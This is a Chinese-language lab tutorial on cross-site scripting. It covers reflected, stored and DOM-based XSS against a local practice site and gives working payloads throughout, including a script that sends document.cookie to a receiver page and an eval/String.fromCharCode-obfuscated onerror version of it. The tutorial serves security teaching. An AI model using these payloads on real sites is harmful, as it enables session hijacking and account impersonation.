目录
- 预备知识
- 实验目的
- 实验环境
- 实验步骤一
- 实验步骤二
- 实验步骤三
预备知识
跨站脚本攻击(Cross Site Scripting),为了不和层叠样式表(Cascading Style Sheets,CSS)的缩写混淆,故将跨站脚本攻击缩写为XSS。恶意攻击者往Web页面里插入恶意Script代码,当用户浏览该页之时,嵌入其中Web里面的Script代码会被执行,从而达到恶意攻击用户的目的。
它与SQL注入攻击类似,SQL注入攻击中以SQL语句作为用户输入,从而达到查询/修改/删除数据的目的,而在xss攻击中,通过插入恶意脚本,实现对用户游览器的控制,获取用户的一些信息。
XSS的分类:
反射型XSS
存储型XSS
基于DOM的XSS
HTML基础知识:http://www.w3school.com.cn/html/
JavaScript基础知识:http://www.w3school.com.cn/js/
实验目的
1.能够理解XSS产生的原理。
2.了解XSS的分类。
3.掌握XSS盗取COOKIE的方法。
实验环境
一台windows7、安装wampserver、火狐浏览器、Chrome浏览器。
实验步骤一
XSS攻击,指通过在页面注入恶意JAVASCRIPT代码,从而在用户浏览被注入恶意代码的页面时,控制用户的浏览器行为的一种攻击。
XSS一般分为3类:
1.反射型XSS,相对来说,危害较低,需要用户点击特定的链接才能触发。
2.存储型XSS,该类XSS会把攻击代码保存到数据库,所以也叫持久型XSS,因为它存在的时间是比较长的。
3.DOM型XSS,这类XSS主要通过修改页面的DOM节点形成XSS,称为DOM Based XSS。
我们先来看下反射型XSS,本步骤的页面代码如下:
源码保存在C:\wamp\www\xss目录下。
功能很简单:检测用户是否通过GET方法传参,如果传了msg参数,则直接输出,否则什么都不干,需要注意的是,这个表单使用的传参方法为GET方法。
正常情况下,用户只会输入一些普通字符,也就是数字、字母或者中文,所以,不会有什么安全问题。
首先打开本次实验的页面,xss.com/xss-ref.php,随便输入一些普通字符测试,我输入的内容为“test测试”。
然后点击submit,提交数据,会直接输出我们输入的内容,注意这里使用的是GET方法传参。
但是恶意的用户就会尝试输入一些特殊字符,比如“<>'"”等,甚至直接尝试使用<script>标签来往页面插入一段JavaScript,来测试后台是否有过滤。如果服务端接收了用户的输入后,对一些特殊字符没有进行html实体编码,那么用户输入的字符就会被浏览器当成html代码解析。
我们输入<script>alert(‘xss’)</script>测试,测试XSS最常用的就是<script>alert(‘xss’)</script>,如果页面存在XSS,那么就会弹出“XSS”这个字符。
然后点击submit,弹出了XSS,说明我们输入的数据被浏览器当成指令执行了!
点击确定,发现您输入的内容后面没有任何显示,这是为什么?在页面鼠标右击,选择查看页面源码,可以看到我们输入的内容确实输出了。
为什么没有显示在页面上来呢?
因为我们输入的数据被当成了代码来执行,如何确定我们输入的数据是否被浏览器当成代码解析了呢?一个简单的办法就是查看我们输入的标签的字体的颜色,如果是深紫色,则代表它被当成了代码来解析。
像这种获取了用户的输入后,直接就在页面输出,没有经过数据库的XSS,就称为反射型XSS,他只是简单地把用户输入的数据“反射”了。所以,要触发这种XSS,用户必须访问特定的链接。而且代码会直接显示在浏览器地址栏,很明显,所以反射型XSS比较容易发现,而且现在的浏览器一般都带有XSS过滤器。比如Chrome。
我们可以输入其他的JS代码,来让浏览器做其他的事,比如弹出用户cookie,在输入框中输入<script>alert(document.cookie)</script>,其中document.cookie可以用来获取用户的cookie。
提交后发现弹出窗口中内容为空白,为什么呢?
因为访问的这个页面它没有给我们设置cookie。
修改该页面源码,当访问页面的时候,设置一下cookie,并启用session。
在访问该页面的时候,就会设置一个cookie,名称为username,值为xssuser,还会产生一个session。session同样用来识别用户身份,只是session是服务端维护,不是保存在客户端,我们不需要知道session的值具体含义。保存后再次访问该页面,重复上面的步骤,就会弹出新设置的cookie。
我们都知道HTTP是无状态协议,它依靠cookie来识别用户身份,如果我们通过JS来获取了用户的cookie后,我们就可以冒充他人的身份,比如:如果某银行网站存在XSS,你通过XSS获取了别人的cookie后,你可以把cookie替换成别人的cookie来冒充其他人,然后你就可以自由转账了。注:事实上,银行的网站一般都设置了HttpOnly,JS脚本无法读取到cookie信息,而且银行转账一般需要短信验证码,特别是大额转账,所以即使你找到XSS,想要利用也很难。
上面的语句只能弹出用户的cookie,我们如何通过XSS得到用户的cookie呢?毕竟如果只是弹出的话,只有访问该页面的人才能看到,而我们是看不到的。
我们可以通过JS,构造一个请求,来请求一个我们有权限的页面,在构造请求的时候,把用户的cookie当作参数传过去,然后我们就可以在这个页面里,接收传过来的参数,然后再保存起来。所以首先需要写一个接收cookie的页面,它能够接收某个参数,然后保存起来。页面写好保存在c:\wamp\www\xss\的目录下,recv_cookies.php这个文件就是用来接收cookie并保存的,源码如下:
它会把msg参数的值进行url解码后再保存到cookies.txt这个文件里面。
接下来就是构造JS代码来发起一个http请求了。利用Image对象就可以很轻易地完成该任务,新建一个Image对象,然后设置src属性,浏览器在碰到src属性的时候,会自动请求该src指向的url。这个url就写我们刚才写的接收cookie的页面的url,并且传msg参数过去,值为cookie。最终构造的语句为:
<script>new Image().src="http://xss.com/recv_cookies.php?msg="+encodeURI(document.cookie);</script>
这里为什么要进行URL编码呢?因为为了防止cookie中有特殊字字符,如#等导致cookie不全,比如:如果cookie为username=test#!@3,构造的请求地址为http://xss.com/recv_cookies.php?msg=username=test#!@3,但是#会被当作锚点来解释,导致后面的#!@3全部被忽略,浏览器最终请求的url为http://xss.com/recv_cookies.php?msg=username=test,所以导致页面接收到的cookie不完整。
在输入框输入上面构造的语句,然后点击submit,然后进入C:\wamp\www\xss目录,打开cookies.txt,就可以看到当前访问http://xss.com/xss-ref.php这个页面的人的cookie。
这样就拿到了用户的cookie,拿到cookie后,我们就可以替换cookie来冒充其他人的身份,来做一些恶意操作。
实验步骤二
反射型XSS在利用的时候要求必须访问特定的URL,这在一定程度上有着局限性。但是,存储型XSS却没有这种弊端,存储型XSS的利用代码被保存在数据库中,在用户访问页面的时候,数据从数据库中取出来。所以用户只要访问了存在XSS的页面就会触发恶意代码,而不需要像反射型XSS那样,必须点击构造好的URL才能触发。
存储型XSS一般发生在留言板等地方,因为它需要把用户输入的内容保存到数据库,用户向服务器提交的数据只是一次性的,如果不保存到数据库,数据就会丢失。
本步骤实验用的页面地址为xss.com/xss-stor.php,源码保存在c:\wamp\www\xss目录下,它是模仿的一个留言板,关键代码如下:
代码写了注释,有不懂的可以打开源文件查看注释。
很明显可以看出来页面没有对“<>'"”等特殊字符进行实体编码。mysql_escape_string函数仅用来转义特殊字符而非对字符进行实体编码。
访问本步骤的测试页面:xss.com/xss-stor.php。
随便选择一个输入框,输入xss的测试代码<script>alert(‘xss’)</script>,一般选择留言的地方测试,因为相对来说,允许我们输入的长度限制比较小,有的限制昵称的长度只能为32字符等。我这里也选择留言输入框测试,如下图:
点击留言后,弹出了xss,我们输入的数据被浏览器当成代码执行了!
点击确定后,可以看到留言内容出显示空白。
查看页面源码,可以看到,空白的地方实际上是我们输入的留言内容,只是被当成了代码执行了,所以没有显示出来。
仔细观察url,发现没有参数,但是由于代码保存在数据库,每次访问该页面的时候,都会从数据库中查询出来,所以,用户只要访问该页面,该代码就会被执行。
我们模仿其他用户访问该页面,打开Chrome,访问该页面,因为HTTP是无状态协议,它依靠cookie来识别用户身份,但是不同浏览器之间cookie不共享,所以2个浏览器可以模拟2个用户的身份,因为2个浏览器访问同一个页面的话,产生的cookie不同,如果想要查看2个浏览器的cookie是否相同,可以在想要查看cookie的页面打开开发者工具,然后在控制台输入document.cookie就可以看到当前网站的cookie。
发现刚访问就直接弹窗,而我们根本就没有往页面写任何东西!这就是存储型XSS。想想前面的反射型XSS,相比反射型XSS必须在url中带上攻击代码,存储型XSS是不是更实用呢?
我们可以像反射型XSS一样,构造一个浏览器会自动加载的请求,比如img的src属性,然后在src属性的值里带上cookie,这样,当浏览器请求这个url的时候,就会在对方的web服务器上留下日志,而cookie保存在web日志中,当然也可以像实验步骤一一样用一个页面接收cookie更好。
存储型XSS相对反射型XSS来说,它多了数据库的参与,而反射型XSS没有参与。
实验步骤三
除了反射型XSS、存储型XSS,还有一种XSS类型,那就是基于DOM的XSS,它通过修改页面的DOM节点形成的XSS,所以称为DOM based XSS。它和反射型XSS、存储型XSS的差别在于,DOM XSS的XSS代码并不需要服务器解析响应的直接参与,触发XSS靠的就是浏览器端的DOM解析。
查看本次实验的源码,源码文件为xss-dom.php,保存在c:\wamp\www\xss目录下。
在这里,测试按钮被点击后调用了xssDom函数,在这个函数中,修改了页面的DOM节点,通过innerHTML把一段用户数据当作HTML写入到页面中,这就造成了DOM Based XSS。
如果你直接查看页面源码,你会发现id为show的div中没有数据。
这种情况下就需要审查元素了。在测试页面鼠标右击,选择查看元素。
点击开发者工具面板左上角的选择图标,用来选择页面的一个元素。点击该按钮后,在页面点击我们想要查看的元素,然后在下方就会显示选择区域的源码。
发现我们输入的标签在双引号中间,可以看出很明显的语法错误。
那么如何构造利用代码呢?我们先根据源码来构造利用代码。
重点关注下面的语句。
我们要让他没有语法错误,就需要构造语句闭合一些标签,所以,我们首先需要一个单引号来闭合a标签的href属性。然后一个“>”来闭合a标签的“<”。这样构造以后,就变成了“<a href=‘’>在这里构造利用代码’>xssDom</a>”。所以我们可以构造如下语句:
'><script>alert('xss');</script>
输入后点击测试,发现并没有弹出提示窗。同样审查元素。
这里构造的语句没有错误,为什么还是没有执行?
w3c规定innerHTML进来的script标签内的脚本代码无法执行。
直接插入script无法执行,但是我们可以利用事件来触发,比如:onerror,onclick等。
构造如下数据:
' onclick=alert(/xss/) //
此时页面代码就变成了:
<a href='' onclick=alert(/xss/) //'>xssDom</a>
此时点击这个超链接就可以触发alert函数。
还有其他构造方法。例如我们闭合a标签,然后引入另外一个标签,比如img标签,利用img标签在加载src的时候,如果出错会触发onerror函数,我们就可以做到自动执行脚本代码而不需要交互。尝试输入如下数据:
'><img src=123 onerror=alert(/xss/) />
点击提交后,页面立即弹窗。
页面在尝试加载路径为123的图片时,无法加载该图片,所以触发onerror函数。src属性可以填任意错误的路径。
如果想要获取用户cookie,可以像步骤一一样,在onerror事件中,插入JS代码,通过JS网页面插入节点等。
我们肯定不能直接通过插入<script>new Image().src=“http://xss.com/recv_cookies.php?msg=”+encodeURI(document.cookie);</script>,原因前面已经解释过,我们可以借助js的eval函数来执行,在测试的时候,由于不能包含空格,所以我们要构造一个没有空格的payload,可以用编码等方式来绕过,比如利用String.fromCharCode函数,该函数会把数字转成该ASCII码表中该数字对应的字符,比如String.fromCharCode(97,108,101,114,116,40,47,120,115,115,47,41)的返回值就是alert(/xss/),此时再用eval执行alert(/xss/)就会把alert(/xss/)当JS代码执行。如果要获取cookie,我们可以把new Image().src=“http://xss.com/recv_cookies.php?msg=”+encodeURI(document.cookie)这个代码转换成他们对应的ascii码,然后通过String.fromCharCode还原成字符串,在firefox的插件hackbar可以把字符串转成String.fromCharCode格式的,步骤如下:
右击下图中标记的地方。
点击hackbar。
此时已启用hackbar。
在下方的输入框中输入需要转换的字符串,然后选中,如下图:
依次点击XSS,String.fromCharCode():
点击后,转换完成。
然后全选复制,由于不能有空格,所以应该把转换后的字符串中的所有空格删除掉,得到:
String.fromCharCode(110,101,119,32,73,109,97,103,101,40,41,46,115,114,99,61,34,104,116,116,112,58,47,47,120,115,115,46,99,111,109,47,114,101,99,118,95,99,111,111,107,105,101,115,46,112,104,112,63,109,115,103,61,34,43,101,110,99,111,100,101,85,82,73,40,100,111,99,117,109,101,110,116,46,99,111,111,107,105,101,41)
然后利用eval执行该代码,所以,最终的构造语句是:
'><img src="123" onerror=eval(String.fromCharCode(110,101,119,32,73,109,97,103,101,40,41,46,115,114,99,61,34,104,116,116,112,58,47,47,120,115,115,46,99,111,109,47,114,101,99,118,95,99,111,111,107,105,101,115,46,112,104,112,63,109,115,103,61,34,43,101,110,99,111,100,101,85,82,73,40,100,111,99,117,109,101,110,116,46,99,111,111,107,105,101,41)) />
首先进入c:\wamp\www\xss目录下,把cookies.txt删除。输入构造的语句后,点击测试后。
然后去c:\wamp\www\xss目录下,可以看到cookies.txt又生成了。
查看内容可能是空的,是因为当前页面没有启用cookie。如果cookies.txt中得到了cookie也正常,因为前面的页面设置了cookie,如果你没有把浏览器历史记录、cookie清除,应该会有cookie。要测试是没有成功获取到cookie还是没设置cookie导致的该文件内容为空,可以在浏览器控制台执行document.cookie,看是否有输出。
如上图,表示已经设置了cookie。
通过本步骤可知,DOM Based XSS无需与服务器交互即可完成XSS。我们输入的数据通过浏览器DOM解析后直接显示在页面,与反射型XSS、存储型XSS需要与服务器交互明显不同。